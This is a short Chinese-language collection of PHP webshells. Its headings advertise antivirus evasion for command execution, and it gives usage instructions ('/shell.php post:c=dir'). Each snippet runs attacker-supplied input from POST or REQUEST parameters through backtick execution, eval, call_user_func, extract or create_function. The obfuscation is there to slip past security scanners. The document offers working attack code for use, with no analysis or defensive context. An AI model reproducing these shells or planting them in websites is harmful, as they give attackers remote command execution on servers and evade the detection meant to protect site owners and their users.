免杀命令执行

食用方法：/shell.php post:c=dir
1：

<?php
$c=1;$a=$_POST;extract($a);print_r(`$c`);
?>

2：

<?php echo `$_=$_REQUEST[c]`; ?>

免杀webshell

1：

<?php
$a=call_user_func(function($u){return @$_REQUEST[$u];},'1');
eval(/**/($a));
?>

2：

<?php
@eval($_POST[a]);
</script>

3：

<script language="php">
function fun()
{@$b=($_POST[1]);
return @$b;
}
eval(fun());

4：

<?php
@extract(array(b=>create_function(NULL,fun2())));
@extract(array(c=>$b()));
function fun2(){
        $b=$_POST;
        return @($b[pass]);}
        ?>